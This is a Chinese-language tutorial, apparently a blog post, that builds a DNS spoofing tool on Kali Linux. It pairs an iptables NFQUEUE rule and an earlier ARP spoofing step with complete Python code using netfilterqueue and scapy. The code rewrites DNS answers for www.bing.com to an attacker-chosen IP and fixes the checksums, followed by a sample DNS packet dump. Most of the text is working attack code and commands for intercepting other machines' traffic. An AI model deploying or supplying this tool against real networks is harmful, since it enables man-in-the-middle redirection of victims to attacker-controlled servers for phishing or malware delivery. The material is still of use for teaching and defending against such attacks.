本文實現一個利用python的第三方模塊netfilterqueue實現對報文攔截、修改的代理程序。NetfilterQueue 模塊提供對Kali Linux 中被 iptables 規則匹配的數據包的訪問。 如此匹配的數據包可以被接受(accept)、丟棄(drop)、更改、重新排序或給予標記。
首先利用iptables在kali Linux創建一個報文處理規則,以將收到的報文放入到queue中,否則報文來不及交給scapy處理就會被轉發出去,然后利用scapy模塊對queue中的t報文進行匹配以及修改,這里iptables用的chain是FORWARD,也就是說對從其他機器轉發至(利用欺騙方法)Kali Linux的報文。
#iptables -I FORWARD -j NFQUEUE --queue-num 0 (這個queue-num號需要與后面對應上)
可以啟動前面所編寫的arpspoofy程序,將目標的報文通過ARP欺騙轉發至Kali Linux進行處理,然后用下面的程序,對Queue中的報文進行處理,首先識別出DNS響應報文,然后對報文中的相應字段進行修改以實現對DNS的欺騙:
import netfilterqueue
from scapy.all import *
def packet_handler(pkt):
#Convert pkt to packet in the format of scapy to process and analyze
scapy_packet = IP(pkt.get_payload()) #需要將netfilterqueue所截獲的報文轉換成scapy形式的packet,以便進行分析和修改
if scapy_packet.haslayer(DNSRR): #只對返回的DNS響應報文進行修改
qname = scapy_packet[DNSQR].qname.decode('utf-8') #此處得到qname是二進制,需要UFT解碼
print(qname)
if 'www.bing.com' in qname:
print("Spoofing the target!!!!!!!!!!!!!")
answer = DNSRR(rrname=qname, rdata='192.168.140.138' )
scapy_packet[DNS].an = answer
scapy_packet[DNS].ancount = 1
del scapy_packet[IP].len #由於修改了DNS響應報文,因此響應的IP報頭以及UDP報文的字段需要做修改,簡單的方法就是將相應的字段刪除,scapy會自動進行計算
del scapy_packet[IP].chksum
del scapy_packet[UDP].len
del scapy_packet[UDP].chksum
# print(scapy_packet.show())
pkt.set_payload(bytes(scapy_packet))
pkt.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, packet_handler)
queue.run()
DNS響應報文的內容如下所示,以作參考:
###[ IP ]### version = 4 ihl = 5 tos = 0x0 len = 284 id = 21095 flags = frag = 0 ttl = 127 proto = udp chksum = 0x8b25 src = 8.8.8.8 dst = 192.168.140.140 \options \ ###[ UDP ]### sport = domain dport = 60936 len = 264 chksum = 0x168f ###[ DNS ]### id = 40404 qr = 1 opcode = QUERY aa = 0 tc = 0 rd = 1 ra = 1 z = 0 ad = 0 cd = 0 rcode = ok qdcount = 1 ancount = 6 nscount = 0 arcount = 0 \qd \ |###[ DNS Question Record ]### | qname = 'api.onedrive.com.' | qtype = A | qclass = IN \an \ |###[ DNS Resource Record ]### | rrname = 'api.onedrive.com.' | type = CNAME | rclass = IN | ttl = 843 | rdlen = None | rdata = 'common-afdrk.fe.1drv.com.' |###[ DNS Resource Record ]### | rrname = 'common-afdrk.fe.1drv.com.' | type = CNAME | rclass = IN | ttl = 33 | rdlen = None | rdata = 'odc-commonafdrk-geo.onedrive.akadns.net.' |###[ DNS Resource Record ]### | rrname = 'odc-commonafdrk-geo.onedrive.akadns.net.' | type = CNAME | rclass = IN | ttl = 14 | rdlen = None | rdata = 'odc-commonafdrk-brs.onedrive.akadns.net.' |###[ DNS Resource Record ]### | rrname = 'odc-commonafdrk-brs.onedrive.akadns.net.' | type = CNAME | rclass = IN | ttl = 14 | rdlen = None | rdata = 'common.be.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net.' |###[ DNS Resource Record ]### | rrname = 'common.be.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net.' | type = CNAME | rclass = IN | ttl = 25 | rdlen = None | rdata = 'l-0003.l-msedge.net.' |###[ DNS Resource Record ]### | rrname = 'l-0003.l-msedge.net.' | type = A | rclass = IN | ttl = 25 | rdlen = None | rdata = 13.107.42.12 ns = None ar = None